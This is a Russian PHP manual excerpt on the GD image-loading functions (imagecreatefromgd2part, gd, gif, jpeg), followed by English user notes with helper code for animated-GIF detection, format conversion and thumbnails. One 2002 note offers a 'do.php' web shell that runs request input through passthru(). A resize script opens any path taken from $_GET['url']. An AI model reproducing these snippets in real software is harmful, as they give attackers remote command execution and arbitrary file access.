  • imagecreatefromgd »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Создание нового изображения на основе части GD2 файла или URL

imagecreatefromgd2part

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imagecreatefromgd2part — Создание нового изображения на основе части GD2 файла или URL

Описание

imagecreatefromgd2part(
string $filename,
int $x,
int $y,
int $width,
int $height
): GdImage|false

Создание нового изображения на основе части GD2 файла или URL.

Подсказка

Для этой функции вы можете использовать URL в качестве имени файла, если была включена опция fopen wrappers. Смотрите более подробную информацию об определении имени файла в описании функции fopen(). Смотрите также список поддерживаемых обёрток URL, их возможности, замечания по использованию и список предопределённых констант в разделе Поддерживаемые протоколы и обёртки.

Список параметров

filename

Путь к GD2 изображению.

x

x-координата точки исходного изображения.

y

y-координата точки исходного изображения.

width

Ширина исходного изображения.

height

Высота исходного изображения.

Возвращаемые значения

Возвращает объект изображения в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция теперь возвращает экземпляр GDImage; ранее возвращался ресурс (resource).

Примеры

Пример #1 Пример использования imagecreatefromgd2part()

<?php
// Для этого примера нам сначала потребуется узнать размер изображения
$image = getimagesize('./test.gd2');

// Создание изображения
$im = imagecreatefromgd2part('./test.gd2', 4, 4, ($image[0] / 2) - 6, ($image[1] / 2) - 6);

// Добавим рельеф на изображение
if(function_exists('imagefilter'))
{
imagefilter($im, IMG_FILTER_EMBOSS);
}

// сохранение изображения
imagegd2($im, './test_emboss.gd2');
imagedestroy($im);
?>

Примечания

Внимание

Форматы изображений GD и GD2 являются проприетарными форматами изображений libgd. Они должны рассматриваться как устаревшие и должны использоваться только для целей разработки и тестирования.

User Contributed Notes

There are no user contributed notes for this page.


Создание нового изображения на основе GD файла или URL

  • « imagecreatefromgd2part
  • imagecreatefromgif »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Создание нового изображения на основе GD файла или URL

imagecreatefromgd

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imagecreatefromgd — Создание нового изображения на основе GD файла или URL

Описание

imagecreatefromgd(string $filename): GdImage|false

Создание нового изображения на основе GD файла или URL.

Подсказка

Для этой функции вы можете использовать URL в качестве имени файла, если была включена опция fopen wrappers. Смотрите более подробную информацию об определении имени файла в описании функции fopen(). Смотрите также список поддерживаемых обёрток URL, их возможности, замечания по использованию и список предопределённых констант в разделе Поддерживаемые протоколы и обёртки.

Список параметров

filename

Путь к GD файлу.

Возвращаемые значения

Возвращает объект изображения в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция теперь возвращает экземпляр GDImage; ранее возвращался ресурс (resource).

Примеры

Пример #1 Пример использования imagecreatefromgd()

<?php
// загрузка изображения
$im = @imagecreatefromgd('./test.gd');

// проверка, загрузилось ли изображение
if(!$im)
{
die('Не удалось загрузить изображение!');
}

// Операции с изображением можно осуществить здесь

// Сохранение изображения
imagegd($im, './test_updated.gd');
imagedestroy($im);
?>

Примечания

Внимание

Форматы изображений GD и GD2 являются проприетарными форматами изображений libgd. Они должны рассматриваться как устаревшие и должны использоваться только для целей разработки и тестирования.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новое изображение из файла или URL

  • « imagecreatefromgd
  • imagecreatefromjpeg »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Создаёт новое изображение из файла или URL

imagecreatefromgif

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecreatefromgif — Создаёт новое изображение из файла или URL

Описание

imagecreatefromgif(string $filename): GdImage|false

imagecreatefromgif() возвращает объект изображения, представляющего изображение полученное из файла с заданным именем.

Предостережение

При чтении анимированных файлов GIF в память, возвращается указатель на ресурс изображения только для первого фрейма. Размер изображения не обязательно будет соответствует тому, что вернёт функция getimagesize().

Подсказка

Для этой функции вы можете использовать URL в качестве имени файла, если была включена опция fopen wrappers. Смотрите более подробную информацию об определении имени файла в описании функции fopen(). Смотрите также список поддерживаемых обёрток URL, их возможности, замечания по использованию и список предопределённых констант в разделе Поддерживаемые протоколы и обёртки.

Список параметров

filename

Путь к GIF картинке.

Возвращаемые значения

Возвращает объект изображения в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция теперь возвращает экземпляр GDImage; ранее возвращался ресурс (resource).

Примеры

Пример #1 Пример обработки ошибки при загрузке GIF

<?php
function LoadGif($imgname)
{
/* Пытаемся открыть */
$im = @imagecreatefromgif($imgname);

/* Если не удалось */
if(!$im)
{
/* Создаём пустое изображение */
$im = imagecreatetruecolor (150, 30);
$bgc = imagecolorallocate ($im, 255, 255, 255);
$tc = imagecolorallocate ($im, 0, 0, 0);

imagefilledrectangle ($im, 0, 0, 150, 30, $bgc);

/* Выводим сообщение об ошибке */
imagestring ($im, 1, 5, 5, 'Ошибка загрузки ' . $imgname, $tc);
}

return $im;
}

header('Content-Type: image/gif');

$img = LoadGif('bogus.image');

imagegif($img);
imagedestroy($img);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: Пример обработки ошибки при загрузке GIF

User Contributed Notes

simon at shortpixel dot com 20-Dec-2017 01:38
A fix for the problem of the current is_ani function is to add the last 20b of the previous frame to the next one:

<?php
function is_ani($filename) {
  if(!($fh = @fopen($filename, 'rb')))
    return false;
  $count = 0;
  //an animated gif contains multiple "frames", with each frame having a
  //header made up of:
  // * a static 4-byte sequence (\x00\x21\xF9\x04)
  // * 4 variable bytes
  // * a static 2-byte sequence (\x00\x2C) (some variants may use \x00\x21 ?)

  // We read through the file til we reach the end of the file, or we've found
  // at least 2 frame headers
  $chunk = false;
  while(!feof($fh) && $count < 2) {
    //add the last 20 characters from the previous string, to make sure the searched pattern is not split.
    $chunk = ($chunk ? substr($chunk, -20) : "") . fread($fh, 1024 * 100); //read 100kb at a time
    $count += preg_match_all('#\x00\x21\xF9\x04.{4}\x00(\x2C|\x21)#s', $chunk, $matches);
  }

  fclose($fh);
  return $count > 1;
}
?>
hdogan at gmail dot com 12-Feb-2017 06:35
Just realised that some of the animated GIFs do not contain GCE (graphic control extension). Here is the refactored is_ani() function:

<?php
/**
 * Detects animated GIF from given file pointer resource or filename.
 *
 * @param resource|string $file File pointer resource or filename
 * @return bool
 */
function is_animated_gif($file)
{
    $fp = null;

    if (is_string($file)) {
        $fp = fopen($file, "rb");
    } else {
        $fp = $file;

        /* Make sure that we are at the beginning of the file */
        fseek($fp, 0);
    }

    if (fread($fp, 3) !== "GIF") {
        fclose($fp);

        return false;
    }

    $frames = 0;

    while (!feof($fp) && $frames < 2) {
        if (fread($fp, 1) === "\x00") {
            /* Some of the animated GIFs do not contain graphic control extension (starts with 21 f9) */
            if (fread($fp, 1) === "\x21" || fread($fp, 2) === "\x21\xf9") {
                $frames++;
            }
        }
    }

    fclose($fp);

    return $frames > 1;
}
marianbucur17 at yahoo dot com 07-Jul-2016 02:13
I hate created an improved version of frank at huddler dot com's is_ani function, which keeps score even between hunks. Hope this helps!

/**
 * Check if the provided file is an animated gif.
 *
 * @param string $fileName
 * @return bool
 */
function isAnimatedGif($fileName)
{
    $fh = fopen($fileName, 'rb');

    if (!$fh) {
        return false;
    }

    $totalCount = 0;
    $chunk = '';

    // An animated gif contains multiple "frames", with each frame having a header made up of:
    // * a static 4-byte sequence (\x00\x21\xF9\x04)
    // * 4 variable bytes
    // * a static 2-byte sequence (\x00\x2C) (some variants may use \x00\x21 ?)

    // We read through the file until we reach the end of it, or we've found at least 2 frame headers.
    while (!feof($fh) && $totalCount < 2) {
        // Read 100kb at a time and append it to the remaining chunk.
        $chunk .= fread($fh, 1024 * 100);
        $count = preg_match_all('#\x00\x21\xF9\x04.{4}\x00(\x2C|\x21)#s', $chunk, $matches);
        $totalCount += $count;

        // Execute this block only if we found at least one match,
        // and if we did not reach the maximum number of matches needed.
        if ($count > 0 && $totalCount < 2) {
            // Get the last full expression match.
            $lastMatch = end($matches[0]);
            // Get the string after the last match.
            $end = strrpos($chunk, $lastMatch) + strlen($lastMatch);
            $chunk = substr($chunk, $end);
        }
    }

    fclose($fh);

    return $totalCount > 1;
}
Anonymous 06-Sep-2013 08:27
Using the following script to generate(keep) animated GIF, it fixs GD lib animation problem.
http://www.gdenhancer.com/
ZeBadger 18-Apr-2013 09:17
The version of is_ani that reads the file in 100Kb chunks is flawed as the end of frame marker might be split in between 2 chunks - so be careful.
frank at huddler dot com 16-Jun-2011 12:25
An updated is_ani based on issues reported here and elsewhere

<?php
function is_ani($filename) {
    if(!($fh = @fopen($filename, 'rb')))
        return false;
    $count = 0;
    //an animated gif contains multiple "frames", with each frame having a
    //header made up of:
    // * a static 4-byte sequence (\x00\x21\xF9\x04)
    // * 4 variable bytes
    // * a static 2-byte sequence (\x00\x2C) (some variants may use \x00\x21 ?)

    // We read through the file til we reach the end of the file, or we've found
    // at least 2 frame headers
    while(!feof($fh) && $count < 2) {
        $chunk = fread($fh, 1024 * 100); //read 100kb at a time
        $count += preg_match_all('#\x00\x21\xF9\x04.{4}\x00(\x2C|\x21)#s', $chunk, $matches);
   }

    fclose($fh);
    return $count > 1;
}
?>
Malcolm Murphy 14-Mar-2011 12:59
Hopefully this might save someone a headache when using functions to check for animated GIFs.

I have come across some some GIFs use the a different frame separator sequence, \x00\x21, instead of the official standard \x00\x2C. This seems to be happening with animated GIFs saved in Photoshop CS5, although I'm not quite sure if that's where the issue is originating from.

Anyway, I've been using the pattern:
"#\x00\x21\xF9\x04.{4}\x00(\x2C|\x21)#s"
which seems to cover all GIFs, hopefully without misinterpreting.

Cheers.
moxley at moxleydata dot com 09-Oct-2006 05:40
I wanted to find out if a GIF is Black & White or Color, but I didn't want to wait around for imagecreatefromgif() to parse a 200k file (about 1 second) to get the color map, so I wrote this function to get a list of all the colors in the GIF. Hope it is useful for you.

<?php
function getGIFColorMap($file)
{
   $fp = fopen($file, 'r');
   $buf = fread($fp, 1024);
   fclose($fp);

   // Calculate number of colors
   // buf[10] is the color info byte
   $color_byte = ord($buf[10]);
   $has_color_map = ($color_byte >> 7) & 1;
   $color_res = (($color_byte >> 4) & 7) + 1;
   $bits_per_pixel = ($color_byte & 7) + 1;
   $color_count = 1 << $bits_per_pixel;

   if (!$has_color_map) return null;

   // buf[13] is the beginning of the color map
   $color_map_index = 13;
   $map = array();
   for ($i=0; $i < $color_count; $i++) {
       $index = $color_map_index + $i*3;
       $r = ord($buf[$index]);
       $g = ord($buf[$index + 1]);
       $b = ord($buf[$index + 2]);
       $map[$i] = array($r, $g, $b);
   }
   return $map;
}
?>
ZeBadger 15-Dec-2005 09:15
I have written this code to detect if a gif file is animated or not.  I thought I would share it :-)

<?php

function is_ani($filename)
{
        $filecontents=file_get_contents($filename);

        $str_loc=0;
        $count=0;
        while ($count < 2) # There is no point in continuing after we find a 2nd frame
        {

                $where1=strpos($filecontents,"\x00\x21\xF9\x04",$str_loc);
                if ($where1 === FALSE)
                {
                        break;
                }
                else
                {
                        $str_loc=$where1+1;
                        $where2=strpos($filecontents,"\x00\x2C",$str_loc);
                        if ($where2 === FALSE)
                        {
                                break;
                        }
                        else
                        {
                                if ($where1+8 == $where2)
                                {
                                        $count++;
                                }
                                $str_loc=$where2+1;
                        }
                }
        }

        if ($count > 1)
        {
                return(true);

        }
        else
        {
                return(false);
        }
}

exec("ls *gif" ,$allfiles);
foreach ($allfiles as $thisfile)
{
        if (is_ani($thisfile))
        {
                echo "$thisfile is animated<BR>\n";
        }
        else
        {
                echo "$thisfile is NOT animated<BR>\n";
        }
}
?>

It could quite easily be modified to count the number of frames if you required.
steve at stevedix dot de 25-Oct-2005 12:20
If anyone is looking for the Yamasoft gif conversion utility :

Although Yamasoft's website is long gone, the code can be found on the following websites :
 http://www.fpdf.org/phorum/read.php?f=1&i=9418&t=7568#9418

http://www.fpdf.org/download/php-gif.zip

http://phpthumb.sourceforge.net/index.php?source=phpthumb.gif.php
jason at null dot zzz 06-Apr-2004 02:13
thanks yamasoft for the gif to png lib.  it works!  but, there is one bug.  i changed line 1003 to this:

if(isset($this->m_img->m_bTrans) && $this->m_img->m_bTrans && ($nColors > 0)) {

because i was getting an error that m_bTrans is undefined.  i think this is because my gif has no transparency.  after i updated this line, there were no problems.

thanks!

-j
josh [ a t ] OnlineComics [ d o t ] net 07-Oct-2003 08:36
I just installed gif2png on my server, and it took a little research on my part to figure out that this...

passthru("$path/gif2png -O $image_path/image.gif")

will not work if safe mode is on. If you're on a shared server, it probably is. You don't need to turn safe mode off, however, just set the safe_mode_exec_dir variable in your php.ini file to the directory where you installed gif2png. Then you'll be able to execute the program from your PHP script.
29-Jun-2003 04:26
function LoadGif ($imgname) {
    $im = @ImageCreateFromGIF ($imgname); /* Attempt to open */
    if (!$im) { /* See if it failed */
        $im = ImageCreate (150, 30); /* Create a blank image */
        $bgc = ImageColorAllocate ($im, 255, 255, 255);
        $tc  = ImageColorAllocate ($im, 0, 0, 0);
        ImageFilledRectangle ($im, 0, 0, 150, 30, $bgc);
        /* Output an errmsg */
        ImageString($im, 1, 5, 5, "Error loading $imgname", $tc);
    }
    return $im;
}
18-Apr-2003 09:34
re: 09-May-2002 11:31

Seems gif2png is no longer at http://www.tuxedo.org/~esr/gif2png/
I found a Win32 version at http://www.r1ch.net/stuff/gif2png/
(for the Unix and source, see http://catb.org/~esr/gif2png/ )

In Win32,
  passthru("gif2png $filename");
works fine if gif2png.exe is in the path.
It will overwrite the file with .png extension, so be careful,or use temp files as in the post referenced above (without the  -O; type "gif2png" at the command line for the options).

I had a problem with exceeding the default 30 second execution time limit in PHP, so I added this line
  set_time_limit(0); // some odd gifs take a long time (example, a 25K gif, 700x700, mostly blank)
geoffrey at poulet dot org 27-Feb-2003 07:22
After hours of search, I've finally found a program which can convert JPG to GIF.
IJG - The Independent JPEG Group's JPEG software
Version 6 which support GIF (read and write with LZW)
and the version 6b which support GIF (write only without LZW)

The name of the file is: jpegsrc.v6.tar.gz
fezber at yamasoft dot com 13-Feb-2003 07:27
For users who just want GIF read (not write) support but:
1) Don't want to patch GD libs
2) Don't want to recompile something
3) Don't have permissions to install conversion packages
4) Any other reason...

I created a small php script (around 25KB) which lets you load a GIF from a file (you even can specify the image index on animated GIFs) and then convert it to a PNG or BMP file.

If I take one example:

<?
include("gif.php");

$gif = gif_loadFile("./test.gif");

if($gif) {
    // GIF file successfully opened
    if(gif_outputAsPNG($gif, "./test.png")) {
        // Now, just use ImageCreateFromPng...
        $img = ImageCreateFromPng("./test.png");

        if($img) {
            header("Content-Type: image/jpeg");
            ImageJPEG($img);
            ImageDestroy($img);
        }
        else {
            // Could NOT open PNG
        }
    }
    else {
        // Could NOT convert GIF to PNG...
    }
}
else {
    // GIF not loaded...
}
?>

Of course, it's slower than using appropriate software and/or libraries but it's quite useful for reading occasionaly some GIF files.

You'll find the gif.php source code at: http://www.yamasoft.com/php-gif.zip

Fabien
Ady at freebsd dot ady dot ro 11-Jan-2003 11:20
FreeBSD users are lucky to have the option of compiling GIF support in GD2.x through the ports system.
All you need to do is to export the "WITH_LZW=yes" global variable when compiling the graphics/gd2 port, e.g.:

# cd /usr/ports/graphics/gd2
# export WITH_LZW=yes
# make && make install

Then recompile and (re)install the www/mod_php4 port and you are in business... :)

Good luck!
unknown at hotmail dot com 14-Nov-2002 06:00
If GD doesn't support GIFs & gif2png is not available & you are not an administrator, you can install it in your account like this:

create do.php:
<?
  global $do;
  passthru($do);
?>

then upload gif2png-2.4.6.tar.gz, unpack and install it:
do.php?do=tar+-xvzf+gif2png-2.4.6.tar.gz
do.php?do=gif2png-2.4.5/configure
do.php?do=make

Then remove all files except gif2png. Don't forget to remove do.php as it is a serious security hole in your system.

Njoy!

Anze
senbei at terra dot es 09-May-2002 10:31
Since gif support is removed from the more recent GD libraries, you can still use it via an external program.
I've read somewhere about using ImageMagick and I tried myself but it's a quite big package and needs the X11 libs which are not available in some servers.
The other option I found is to use a little prog "gif2png" http://www.tuxedo.org/~esr/gif2png/
to convert gif files to png ones. It works under Unix and dos/win32/winnt and is very straightforward.
If you need to modify an user uploaded gif file to save it into your site just use this:

$path=$_FILES["photo"]["tmp_name"];
passthru("/usr/bin/gif2png -d -O ".$path);
$src_img=imagecreatefrompng( dirname($path)."/".basename($path, ".gif").".png");

This will convert the gif to a png and delete the gif file, then it will open the png with the GDlib so you can perform any operation on it.
anthony dot atkins at vt dot edu 16-May-2000 06:05
<?php

function myImageCreateFromGif($file_or_url) {

        $dummy_file = "/tmp/dummy.gif";

        # if this is a url, use fopen to get the file data, then
        # save it to a dummy file
        if (preg_match("/(http|ftp):\/\//i", $file_or_url)) {
                # open the file using fopen, which supports remote URLs
                $input = fopen($file_or_url, "rb");

                # read the contents of the file
                # will accept files up to 10Mb, but will probably get
                # and EOF before that, we have to do it this way because
                # filesize isn't designed to work with URLs.  sigh.
                $image_data = fread($input, 10000000);

                fclose($input);

                # write the contents to a dummy file
                $output = fopen("$dummy_file", "wb");
                fwrite($output, $image_data);
                fclose($output);

                # create the gif from the dummy file
                $image = ImageCreateFromGif($dummy_file);

                # get rid of the dummy file
                unlink($dummy_file);

        }

        # if it's not a URL, we can simply open the image directly
        else {
                $image = ImageCreateFromGif($file_or_url);
        }

        if ($image) { return $image; }
        else { return 0; }
}

if (!$url) { $url = "http://scholar.lib.vt.edu/images/cornholio.gif";}
$image = myImageCreateFromGif($url);

if ($image == "" || $image == 0) {
        print "<p>No Image data was returned...</p>\n";
}
else {
        header("Content-Type: image/gif\n\n");
        ImageGif($image);
}

?>


Создаёт новое изображение из файла или URL

  • « imagecreatefromgif
  • imagecreatefrompng »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Создаёт новое изображение из файла или URL

imagecreatefromjpeg

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecreatefromjpeg — Создаёт новое изображение из файла или URL

Описание

imagecreatefromjpeg(string $filename): GdImage|false

imagecreatefromjpeg() возвращает идентификатор изображения, представляющего изображение полученное из файла с заданным именем.

Подсказка

Для этой функции вы можете использовать URL в качестве имени файла, если была включена опция fopen wrappers. Смотрите более подробную информацию об определении имени файла в описании функции fopen(). Смотрите также список поддерживаемых обёрток URL, их возможности, замечания по использованию и список предопределённых констант в разделе Поддерживаемые протоколы и обёртки.

Список параметров

filename

Путь к JPEG картинке.

Возвращаемые значения

Возвращает объект изображения в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция теперь возвращает экземпляр GDImage; ранее возвращался ресурс (resource).

Примеры

Пример #1 Пример обработки ошибки при загрузке JPEG

<?php
function LoadJpeg($imgname)
{
/* Пытаемся открыть */
$im = @imagecreatefromjpeg($imgname);

/* Если не удалось */
if(!$im)
{
/* Создаём пустое изображение */
$im = imagecreatetruecolor(150, 30);
$bgc = imagecolorallocate($im, 255, 255, 255);
$tc = imagecolorallocate($im, 0, 0, 0);

imagefilledrectangle($im, 0, 0, 150, 30, $bgc);

/* Выводим сообщение об ошибке */
imagestring($im, 1, 5, 5, 'Ошибка загрузки ' . $imgname, $tc);
}

return $im;
}

header('Content-Type: image/jpeg');

$img = LoadJpeg('bogus.image');

imagejpeg($img);
imagedestroy($img);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: Пример обработки ошибки при загрузке JPEG

User Contributed Notes

matthieu dot poignant+php at gmail dot com 29-Jul-2021 09:58
In PHP 8, you can create an image based on the popular image types without worrying about what it is:

<?php
function imageCreateFromAny($filepath): ?\GdImage {
    return match (exif_imagetype($filepath)) {
        // gif
        1 => imageCreateFromGif($filepath),
        // jpg
        2 => imageCreateFromJpeg($filepath),
        // png
        3 => imageCreateFromPng($filepath),
        // bmp
        6 => imageCreateFromBmp($filepath),
        // not defined
        default => null,
    };
}
?>
sagarsdeshmukh91 at gmail dot com 01-Feb-2017 03:50
Warning: imagecreatefromjpeg() [function.imagecreatefromjpeg]: 'image.jpg' is not a valid JPEG file

This only happens with certain images, which when opened in any program are ok, it even uploads to the version of the site I have on localhost with no problems,

To fix try below code snippet-

<?php
...
$image = @ImageCreateFromJpeg($image_name);
if (!$image)
{
    $image= imagecreatefromstring(file_get_contents($image_name));
}
...
?>
reorganisation at evo-german dot com 07-Jun-2016 11:19
Had to fight with this error message:

imagecreatefromjpeg(): gd-jpeg: JPEG library reports unrecoverable error

and found, that some picture tools like GIMP are adding EXIF-Informantions about changes.
Those pictures are running in the above problem.

Using an easy picture tool like Windows Paint - save the image new - and imagecreatefromjpeg worked for me.
jan at recreatie-zorg dot nl 05-Aug-2013 10:20
This function does not honour EXIF orientation data.  Pictures that are rotated using EXIF, will show up in the original orientation after being handled by imagecreatefromjpeg().  Below is a function to create an image from JPEG while honouring EXIF orientation data.

<?php
    function imagecreatefromjpegexif($filename)
    {
        $img = imagecreatefromjpeg($filename);
        $exif = exif_read_data($filename);
        if ($img && $exif && isset($exif['Orientation']))
        {
            $ort = $exif['Orientation'];

            if ($ort == 6 || $ort == 5)
                $img = imagerotate($img, 270, null);
            if ($ort == 3 || $ort == 4)
                $img = imagerotate($img, 180, null);
            if ($ort == 8 || $ort == 7)
                $img = imagerotate($img, 90, null);

            if ($ort == 5 || $ort == 4 || $ort == 7)
                imageflip($img, IMG_FLIP_HORIZONTAL);
        }
        return $img;
    }
?>
matt dot squirrell dot php at hsmx dot com 05-Nov-2012 01:28
This little function allows you to create an image based on the popular image types without worrying about what it is:

<?php
function imageCreateFromAny($filepath) {
    $type = exif_imagetype($filepath); // [] if you don't have exif you could use getImageSize()
    $allowedTypes = array(
        1,  // [] gif
        2,  // [] jpg
        3,  // [] png
        6   // [] bmp
    );
    if (!in_array($type, $allowedTypes)) {
        return false;
    }
    switch ($type) {
        case 1 :
            $im = imageCreateFromGif($filepath);
        break;
        case 2 :
            $im = imageCreateFromJpeg($filepath);
        break;
        case 3 :
            $im = imageCreateFromPng($filepath);
        break;
        case 6 :
            $im = imageCreateFromBmp($filepath);
        break;
    }
    return $im;
}
?>
pavel.lint at vk.com 04-May-2012 09:31
I was experiencing troubles with imagecreatefromjpeg() as it outputted errors even when called with @ in front. ini_set("gd.jpeg_ignore_warning", 1) didnt work for me, so I came up with another simple solution.

The problem is caused by gd error output, so by redirecting STDERR to /dev/null all the error messages in it are supressed and you can still use regular STDOUT for your error output.

So, just use
<?
fclose( STDERR );
$STDERR = fopen( "/dev/null", "wb" );
?>
Jrn Berkefeld 26-Apr-2011 11:08
I encountered a very strange behaviour:
The background:
Each time users uploaded images, the original file was stored along with a thumbnail and a medium sized version for small-sized slideshows.
that means that on upload all of these original images were acknowledged by php as valid jpg

The change:
I created a new slideshow script that featured full-screen display. My old "medium-sized" version were only about 600px wide which caused them to luck all ugly after stretching that to modern screen sizes.
--> I created a small script that opens all original images and saves bigger "medium-sized" versions than the once I had.

the problem:
for some reason about 1/3 of all images (not the last third but always the same images) were now labeled as "... is not a valid JPEG file ..." by php

the cause:
still unknown

the solution:
<?php
...
$src_img = @imagecreatefromjpeg($myJPGfile_relative);
if (!$src_img) {
    $src_img = LoadJPEG("http://example.com/".$myJPGfile);
}
?>

Each time the local approach fails the script falls back to loading the same file "from the outside" via the below mentioned "LoadJPEG" script - big thanks to the author!
That worked even though I'm talking about the exact same file on the exact same server. The only difference is that one time it's accessed locally and the second via port 80.

when using this, watch for correct paths relative to your script and the possibly different path relative to your domain.
juozaspo at gmail dot com 19-Oct-2010 02:58
There is my actual script to resize image without distortion to generate a thumbnail and/or show a smaller to browser.

<?php
// usual header used on my all pages
ob_start("ob_gzhandler");
$PHP_SELF=$_SERVER['PHP_SELF'];
include "include/errors.php"; //error log script

// actual script begins here
$type=false;
function open_image ($file) {
    //detect type and process accordinally
    global $type;
    $size=getimagesize($file);
    switch($size["mime"]){
        case "image/jpeg":
            $im = imagecreatefromjpeg($file); //jpeg file
        break;
        case "image/gif":
            $im = imagecreatefromgif($file); //gif file
      break;
      case "image/png":
          $im = imagecreatefrompng($file); //png file
      break;
    default:
        $im=false;
    break;
    }
    return $im;
}

$url = $_GET['url'];
if (isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) && (strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) == filemtime($url))) {
  // send the last mod time of the file back
    header('Last-Modified: '.gmdate('D, d M Y H:i:s', filemtime($url)).' GMT', true, 304); //is it cached?
} else {

$image = open_image($url);

if ($image === false) { die ('Unable to open image'); }

$w = imagesx($image);
$h = imagesy($image);

//calculate new image dimensions (preserve aspect)
if(isset($_GET['w']) && !isset($_GET['h'])){
    $new_w=$_GET['w'];
    $new_h=$new_w * ($h/$w);
} elseif (isset($_GET['h']) && !isset($_GET['w'])) {
    $new_h=$_GET['h'];
    $new_w=$new_h * ($w/$h);
} else {
    $new_w=isset($_GET['w'])?$_GET['w']:560;
    $new_h=isset($_GET['h'])?$_GET['h']:560;
    if(($w/$h) > ($new_w/$new_h)){
        $new_h=$new_w*($h/$w);
    } else {
        $new_w=$new_h*($w/$h);
    }
}

$im2 = ImageCreateTrueColor($new_w, $new_h);
imagecopyResampled ($im2, $image, 0, 0, 0, 0, $new_w, $new_h, $w, $h);
//effects
if(isset($_GET['blur'])){
    $lv=$_GET['blur'];
    for($i=0; $i<$lv;$i++){
        $matrix=array(array(1,1,1),array(1,1,1),array(1,1,1));
        $divisor = 9;
        $offset = 0;
        imageconvolution($im2, $matrix, $divisor, $offset);
    }
}
if(isset($_GET['sharpen'])){
    $lv=$_GET['sharpen'];
    for($i=0; $i<$lv;$i++){
        $matrix = array(array(-1,-1,-1),array(-1,16,-1),array(-1,-1,-1));
        $divisor = 8;
        $offset = 0;
        imageconvolution($im2, $matrix, $divisor, $offset);
    }
}

header('Content-type: image/jpeg');
$name=explode(".", basename($_GET['url']));
header("Content-Disposition: inline; filename=".$name[0]."_t.jpg");
header('Last-Modified: ' . gmdate('D, d M Y H:i:s', filemtime($url)) . ' GMT');
header("Cache-Control: public");
header("Pragma: public");
imagejpeg($im2);
//imagedestroy($im2);
//imagedestroy($image);
}

?>
Ray.Paseur sometimes uses Gmail 08-Oct-2010 03:19
If you have a blank in the file name, and you use a local URL, this function works.  Not so with a fully qualified URL

<?php
$url = 'RAY_rgb 300x100.jpg';
$img = ImageCreateFromJPEG($url);
// WORKS PERFECTLY

$url = 'http://www.example.com/RAY_rgb 300x100.jpg';
$img = ImageCreateFromJPEG($url);
// FAILS Warning: imagecreatefromjpeg() [function.imagecreatefromjpeg]: gd-jpeg: JPEG library reports unrecoverable error
?>
nico at anvilstudios dot co dot za 07-Sep-2010 12:41
I encountered a problem with this function on a windows system. Instead of returning false in case of the file not being a JPG, the function resulted in an error:
"imagecreatefromjpeg() : gd-jpeg : JPEG library reports unrecoverable error".

To get around this first check whether the file is a JPEG file using its mime type, if it is not return false.
brentwientjes at NOSPAM dot comcast dot net 16-Feb-2010 12:47
Last night I posted the following note under move_upload_file and looked tonight to see if it got into the system.  I happen to also pull up imagecreatefromjpeg and got reminded of many resize scripts in this section.  Unfortunately, my experience was not covered by most of the examples below because each of them assumed less than obvious requirements of the server and browser.  So here is the post again under this section to help others uncover the mystery in file uploading and resizing arbitrary sized images.  I have been testing for several days with hundreds of various size images and it seems to work well.  Many additional features could be added such as transparency, alpha blending, camera specific knowledge, more error checking.  Best of luck.

---  from move_upload_file post ---

I have for a couple of years been stymed to understand how to effectively load images (of more than 2MB) and then create thumbnails.  My note below on general file uploading was an early hint of some of the system default limitations and I have recently discovered the final limit  I offer this as an example of the various missing pieces of information to successfully load images of more than 2MB and then create thumbnails.  This particular example assumes a picture of a user is being uploaded and because of browser caching needs a unique number at the end to make the browser load a new picture for review at the time of upload.  The overall calling program I am using is a Flex based application which calls this php file to upload user thumbnails.

The secret sauce is:

1.  adjust server memory size, file upload size, and post size
2.  convert image to standard formate (in this case jpg) and scale

The server may be adjusted with the .htaccess file or inline code.  This example has an .htaccess file with file upload size and post size and then inline code for dynamic system memory.

htaccess file:
php_value post_max_size 16M
php_value upload_max_filesize 6M

<?php
//  $img_base = base directory structure for thumbnail images
//  $w_dst = maximum width of thumbnail
//  $h_dst = maximum height of thumbnail
//  $n_img = new thumbnail name
//  $o_img = old thumbnail name
function convertPic($img_base, $w_dst, $h_dst, $n_img, $o_img)
  {ini_set('memory_limit', '100M');   //  handle large images
   unlink($img_base.$n_img);         //  remove old images if present
   unlink($img_base.$o_img);
   $new_img = $img_base.$n_img;

   $file_src = $img_base."img.jpg";  //  temporary safe image storage
   unlink($file_src);
   move_uploaded_file($_FILES['Filedata']['tmp_name'], $file_src);

   list($w_src, $h_src, $type) = getimagesize($file_src);  // create new dimensions, keeping aspect ratio
   $ratio = $w_src/$h_src;
   if ($w_dst/$h_dst > $ratio) {$w_dst = floor($h_dst*$ratio);} else {$h_dst = floor($w_dst/$ratio);}

   switch ($type)
     {case 1:   //   gif -> jpg
        $img_src = imagecreatefromgif($file_src);
        break;
      case 2:   //   jpeg -> jpg
        $img_src = imagecreatefromjpeg($file_src);
        break;
      case 3:  //   png -> jpg
        $img_src = imagecreatefrompng($file_src);
        break;
     }
   $img_dst = imagecreatetruecolor($w_dst, $h_dst);  //  resample

   imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, $w_dst, $h_dst, $w_src, $h_src);
   imagejpeg($img_dst, $new_img);    //  save new image

   unlink($file_src);  //  clean up image storage
   imagedestroy($img_src);
   imagedestroy($img_dst);
  }

$p_id = (Integer) $_POST[uid];
$ver = (Integer) $_POST[ver];
$delver = (Integer) $_POST[delver];
convertPic("your/file/structure/", 150, 150, "u".$p_id."v".$ver.".jpg", "u".$p_id."v".$delver.".jpg");

?>
dmhouse at gmail dot com 08-Aug-2007 03:37
